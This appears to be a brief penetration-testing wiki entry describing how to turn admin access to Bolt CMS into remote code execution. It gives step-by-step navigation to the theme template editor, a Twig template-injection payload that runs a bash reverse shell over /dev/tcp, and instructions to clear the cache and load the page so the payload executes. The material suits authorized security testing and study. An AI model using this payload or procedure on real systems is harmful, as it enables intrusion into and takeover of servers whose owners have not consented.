Bolt CMS


After login as admin (go to /bot lo access the login prompt), you can get RCE in Bolt CMS:
  • Select Configuration -> View Configuration -> Main Configuration or go the the URL path /bolt/file-edit/config?file=/bolt/config.yaml
    • Check the value of theme
  • Select File management -> View & edit templates
    • Select the theme base found in the previous (base-2021 in this case) step and select index.twig
    • In my case this is in the URL path /bolt/file-edit/themes?file=/base-2021/index.twig
  • Set your payload in this file via template injection (Twig), like: {{['bash -c "bash -i >& /dev/tcp/ 0>&1"']|filter('system')}}
    • And save changes
  • Clear the cache in Maintenance -> Clear the cache
  • Access again the page as a regular user, and the payload should be executed